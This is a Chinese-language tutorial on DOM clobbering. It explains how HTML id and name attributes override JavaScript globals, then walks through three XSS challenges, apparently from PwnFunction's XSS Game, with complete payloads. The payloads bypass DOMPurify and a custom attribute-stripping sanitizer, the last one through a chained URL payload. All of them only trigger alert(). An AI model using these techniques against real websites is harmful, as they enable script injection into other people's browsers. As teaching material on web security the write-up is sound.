目录
引入
先用三个小例子看看dom-clobbering干了什么
1.获取标签
这个例子给img标签分别做了一个id和一个name属性,然后利用下面三种方式调用
结果显示:直接打印x,y和用window打印x,y都可以打印出来,但是用document只能用name获取标签,无法用id获取。
2.覆盖
这个例子可以看出原本是没有cookie这个属性的,然后我创建了一个div,再创建一个img,里面包含一个name属性,值为cookie。
接着把img放入div,把div放入document.body下,再调用document.cookie发现获取了这个img标签,这就说明document.cookie已经被我们用img标签给覆盖了
3.多层覆盖
document.body取出来的是form表单,然后.appendchild就是通过id取出的img标签,就不是原本的appendChild这个函数了。被覆盖掉了。
利用Dom-clobbering
从上面引入我们已经知道了怎么获取、覆盖掉标签了,但是标签并不是我们要利用的,这些标签也只是一个HTMLElment元素,所以我们要找到可控的字符串来利用
1.tostring
tosting这个函数就是转换成字符串的,先写一个例子看看:
这个代码创建了一个函数A,然后a调用toSting方法,相当于一个子类调用父类的toString方法,可以发现显示了[object object]
因为标签都继承了object的toString方法,所以我们用一个脚本过滤下哪些标签的toString是可以利用的:
javascript
Object.getOwnPropertyNames(window)
.filter(p => p.match(/Element$/))
.map(p => window[p])
.filter(p => p && p.prototype && p.prototype.toString
!== Object.prototype.toString)
这个脚本可以遍历所有的标签,找到不是继承object的tostring方法的属性,找到了两个标签,分别是<a>和<area>
接下来测试一下a的tostring方法:
alert(test)执行的时候,会通过id将a标签抓出来,然后a标签会调用tostring方法,关键就是这个,他的tostring方法不是继承的,而是自己写的:调用href的值,所以就成了将aaaaa拿出来
2.集合取值
先看下这个代码,a标签是div的子标签,这样调用会显示undefined
解决方法就是先用两个id都等于x来构建一个集合类,再通过collection[name]来获取a标签:
3.层级关系取值
先利用这个脚本筛选出能使用层级关系的组合
有以下几个:
form->button
form->fieldset
form->image
form->img
form->input
form->object
form->output
javascript
div=document.createElement('div')
; for(var i=0;i<html.length;i++)
{
for(var j=0;j<html.length;j++) {
div.innerHTML='<'+html[i]+' id=element1>'+'<'+html[j]+'
id=element2>'; document.body.appendChild(div);
if(window.element1 &&
element1.element2){
log.push(html[i]+','+html[j]);
}
document.body.removeChild(div);
}
}
console.log(log.join('\n'));
拿output举个例子:
这就是直接将ouput标签的值给拿出来了,利用的正是标签的层级关系
4.三层取值
需要利用到集合+层级关系
直接上代码:
javascript
<form id="x" name="y"><output id=z>I've been clobbered</output></form>
<form id="x"></form>
<script>
alert(x.y.z.value)
;
</script>
这个就是上面两个的套用,不需要解释了。
5.自定义属性
上面2、3、4这三个都是用的id和name取值,还是有一定限制,如果自定义属性就方便多了
这个脚本可以过滤出能够自定义属性的
javascript
var html = [...]//HTML elements array
var props=[];
for(i=0;i<html.length;i++){
obj =
document.createElement(html[i]);
for(prop in obj) {
if(typeof obj[prop] === 'string') {
try {
DOM.innerHTML = '<'+html[i]+' id=x
'+prop+'=1>';
if(document.getElementById('x')[prop] == 1) {
props.push(html[i]+':'+prop);
}
}catch(e){}
}
}
}
console.log([...new Set(props)].join('\n'));
得到能利用的:
a:username
a:password
测试代码:
javascript
<a id=x href="ftp:Clobbered-username:Clobbered-Password@a">
<script>
alert(x.username)//Clobberedusername
alert(x.password)//Clobberedpassword
</script>
结果:
例题
1
XSS Game - Ok, Boomer | PwnFunction
javascript
<!-- Challenge -->
<h2 id="boomer">Ok, Boomer.</h2>
<script>
boomer.innerHTML = DOMPurify.sanitize(new URL(location).searchParams.get('boomer') || "Ok, Boomer")
setTimeout(ok, 2000)
</script>
思路就是把ok覆盖掉,把ok覆盖成一个自己写的标签,然后标签又能转换成字符串,就是用的a的tostring方法
所以payload先写成这样
<a id=ok href="alert(1337)">a</a>
结果没有弹窗,原因就是因为DOMPurify这个过滤框架
只能上官网查看白名单:
发现tel在白名单中,可以利用,所以最后payload是:
<a id=ok href="tel:alert(1)">a</a>
测试成功弹窗:
注意:
前提是这个ok是原本不存在的,如果ok是实际存在的,上述的就无法实现了
2.
javascript
const data = decodeURIComponent(location.hash.substr(1));
const root = document.createElement('div');
root.innerHTML = data;
// 这里模拟了XSS过滤的过程,方法是移除所有属性
for (let el of root.querySelectorAll('*')) {
let attrs = [];
for (let attr of el.attributes) {
attrs.push(attr.name);
}
for (let name of attrs) {
el.removeAttribute(name);
}
}
document.body.appendChild(root);
先看题:
1.创建一个div,然后把我们写入的hash值放进div中。
2.第一个循环拿出了div所有元素,然后定义一个空数组attrs。
3.第二个循环把所有元素放到数组里。
4.第三个循把数组里的元素删除,最后把过滤后的div放到body中。
简单来说就是个过滤函数,将所有元素过滤,我们的目标是弹窗
那么思路就是防止form属性被删除,利用双层获取值,使for循环报错跳出
先测试:
<form><input id=attributes></form>
结果:报错了,原因是因为数组里只有一个值不是一个可迭代对象(最少两个元素,可以被for循环)
那么久加一个Input,形成一个集合,让这个数组有至少两个元素,可以遍历
此时能弹窗,但大问题是需要用户交互,这明显不行
直接看最终payload来理解:
<style>@keyframes x{}</style><form style="animation-name:x" onanimationstart="alert(1)"><input id=attributes><input id=attributes></form>
先在style中创建一个动画样式,然后再form表单中调用这个样式,然后属性onanimationstart来执行alert(1)(onanimationstart这个属性作用就是动画加载前所要执行的内容)
然后form表单中包含了两个input标签,是为了让函数报错用的
过滤函数的执行流程:
先style,发现没有属性,又到form,里面有元素,但是元素的attributes被DOM破坏成了两个input,循环了两次拿到两个空值,所以form的属性仍是完整的
继续循环到input了,删掉了,第二个也删掉了,这个input删掉无所谓,因为Input的作用就是保证form完整,并且已经完成了
总结一下:
在动画触发之前加alert(1),然后保证form里面的属性不可以被删除,就利用上述方法使过滤函数报错,结果form绕过过滤,并且没有用户交互
最后成功弹窗:
3.
XSS Game - Jason Bourne | PwnFunction
引入
javascript
<script>
/* Helpers */
const bootstrapAlert = (msg, type) => {
return (`<div class="alert alert-${type}" role="alert">${DOMPurify.sanitize(msg)}</div>`)
}
document.getAlert = () => document.getElementById('alerts');
</script>
<script>
/* Welcome */
let name = (new URL(location).searchParams.get('name')) || "Pamela Landy";
document.write(
bootstrapAlert(`<b>Operation Treadstone</b>: Welcome <u>${name}</u>.`, 'info')
)
</script>
<!-- alerts -->
<div id="alerts"></div>
<script>
/* Handle to `#alert` */
let alerts = document.getAlert();
/* Treadstone Credentials */
let identification = Math.random().toString(36).slice(2);
let code = Math.floor(Math.random() * 89999 + 10000);
/* Default Credentials */
DEFAULTS = {};
DEFAULTS[identification] = code;
</script>
<script>
/* Optional Comment */
if (location.hash) {
let comment = document.createComment(decodeURI(location.hash).slice(1));
document.querySelector('#alerts').appendChild(comment);
}
</script>
<script>
/* Use `DEFAULTS` to init `SECRETS` */
SECRETS = DEFAULTS
/* Increment the `code` before the check */
let secretKey = new URL(location).searchParams.get('key') || "TREADSTONE_WEBB";
SECRETS[secretKey] += 1;
/* Authorization Check */
if (SECRETS[secretKey] === SECRETS[identification]) {
confirm(`Jesus Christ, it's Jason Bourne!`)
} else {
confirm(`You ain't David Webb!`)
}
</script>
先把每个script拆开看:
<script>
/* Helpers */
const bootstrapAlert = (msg, type) => {
return (`<div class="alert alert-{type}" role="alert"\>{DOMPurify.sanitize(msg)}</div>`)
}
document.getAlert = () => document.getElementById('alerts');
</script>
定义了两个函数,第一个返回了被dompurify过滤的参数msg放到div中,第二个函数用于获取id为alerts的元素
<script>
/* Welcome */
let name = (new URL(location).searchParams.get('name')) || "Pamela Landy";
document.write(
bootstrapAlert(`<b>Operation Treadstone</b>: Welcome <u>${name}</u>.`, 'info')
)
</script>
<!-- alerts -->
<div id="alerts"></div>
变量name用get接一个参数name,然后调用bootstrap显示欢迎$name的样式,然后定义一个id为alerts的div
<script>
/* Handle to `#alert` */
let alerts = document.getAlert();
/* Treadstone Credentials */
let identification = Math.random().toString(36).slice(2);
let code = Math.floor(Math.random() * 89999 + 10000);
/* Default Credentials */
DEFAULTS = {};
DEFAULTS[identification] = code;
</script>
把getalert()函数的返回值给alert变量,然后分别生成两个随机数给到DEFAULT对象,identification是键,code是值
<script>
/* Optional Comment */
if (location.hash) {
let comment = document.createComment(decodeURI(location.hash).slice(1));
document.querySelector('#alerts').appendChild(comment);
}
</script>
判断hash是否存在,如果存在就取#后面的内容,然后添加搭配id为alerts的元素中
<script>
/* Use `DEFAULTS` to init `SECRETS` */
SECRETS = DEFAULTS
/* Increment the `code` before the check */
let secretKey = new URL(location).searchParams.get('key') || "TREADSTONE_WEBB";
SECRETS[secretKey] += 1;
/* Authorization Check */
if (SECRETS[secretKey] === SECRETS[identification]) {
confirm(`Jesus Christ, it's Jason Bourne!`)
} else {
confirm(`You ain't David Webb!`)
}
</script>
把对象DEFAULTS赋给SECRETS,然后secretKey用get接一个参数key,然后让SECOETS对象中的secretKey建加一,如果没有就是创建一个新的键值对,建为secretKey,最后判断一下SECRETS[secretKey] 和SECRETS[identification]是否严格相等
分析
直接看payload来分析:
?name=<img name=getAlert><form id=alerts name=DEFAULTS>&key=innerHTML#--><img src οnerrοr=alert(1337)>
我们根据payload倒着分析
要让这个<img src οnerrοr=alert(1337)>成功弹窗就要让前面的闭合,那么就&key=innerHTML#-->
来写入,就会形成form.innerHTML+1,可以成功闭合注释符,就能成功弹窗。
innerHTML是通过key写给SECRETS的,但是到了form上,说明form成功覆盖了DEFAULTS,
所以在第五个script时 SECRETS = DEFAULTS就成了form.innerHTML了
现在解释下form怎么覆盖DEFAULTS的:
因为第三个script中getalert()函数因为接了我们传入的name=<img name=getAlert>报错了,所以这个script就不会执行下去,也就无法定义DEFAULTS对象了,然后form成功上位
还有一个点:
我们form中有一个id为alert,但是代码中还有一个div的id也为alert
document.querySelector('#alerts').appendChild(comment);这个代码之所以接的是我们写入的form
原因就是appendChild只认第一个标签,我们的form在div前,所以才成功被添加成功。
总结一下:
?name=<img name=getAlert><form id=alerts name=DEFAULTS>&key=innerHTML#--><img src οnerrοr=alert(1337)>
先传一个img使getAlert函数报错,导致DEFAULTS无法定义,又因为id与div的id相同但是在div之前,所以被加入元素,name为DEFAULTS又在第五个script成功赋给SECRETS,接着接到的key值接收了一个innerHTML来赋给form形成form.innerHTML+1来闭合标签,最后用img的onerror来弹窗